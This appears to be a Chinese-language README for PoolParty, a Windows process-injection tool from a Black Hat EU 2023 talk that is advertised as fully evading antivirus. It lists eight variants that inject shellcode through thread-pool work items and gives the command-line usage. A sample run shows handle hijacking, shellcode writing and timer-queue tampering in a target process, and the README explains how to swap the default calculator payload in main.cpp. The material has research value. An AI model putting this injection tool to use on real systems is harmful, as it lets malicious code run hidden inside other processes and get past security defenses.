一个利用 Windows 线程池实现完全免杀的进程注入技术集合。在 Black Hat EU 2023 简报会上以标题 The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools 进行展示
| 变体 ID | 变体描述 |
|---|---|
| 1 | 覆盖目标工作线程工厂的启动例程 |
| 2 | 向目标进程的线程池插入 TP_WORK 工作项 |
| 3 | 向目标进程的线程池插入 TP_WAIT 工作项 |
| 4 | 向目标进程的线程池插入 TP_IO 工作项 |
| 5 | 向目标进程的线程池插入 TP_ALPC 工作项 |
| 6 | 向目标进程的线程池插入 TP_JOB 工作项 |
| 7 | 向目标进程的线程池插入 TP_DIRECT 工作项 |
| 8 | 向目标进程的线程池插入 TP_TIMER 工作项 |
PoolParty.exe -V <变体 ID> -P <目标 PID>
向进程 ID 1234 插入 TP_TIMER 工作项
>> PoolParty.exe -V 8 -P 1234
[info] 开始针对进程 id: 1234 的 PoolParty 攻击
[info] 获取到目标进程的句柄: 00000000000000B8
[info] 从目标进程中劫持工作线程工厂句柄: 0000000000000058
[info] 从目标进程中劫持定时器队列句柄: 0000000000000054
[info] 在目标进程中分配 shellcode 内存: 00000281DBEF0000
[info] 将 shellcode 写入目标进程
[info] 获取目标工作线程工厂基本信息
[info] 创建与 shellcode 关联的 TP_TIMER 结构
[info] 在目标进程中分配 TP_TIMER 内存: 00000281DBF00000
[info] 将特制的 TP_TIMER 结构写入目标进程
[info] 修改目标进程的 TP_POOL 定时器队列链表项,使其指向特制的 TP_TIMER
[info] 设置定时器队列过期以触发 TppTimerQueueExpiration 出队
[info] PoolParty 攻击成功完成
默认 shellcode 通过 WinExec API 弹出计算器。
若要自定义要执行的程序,请修改 main.cpp 文件中 g_Shellcode 变量末尾的路径。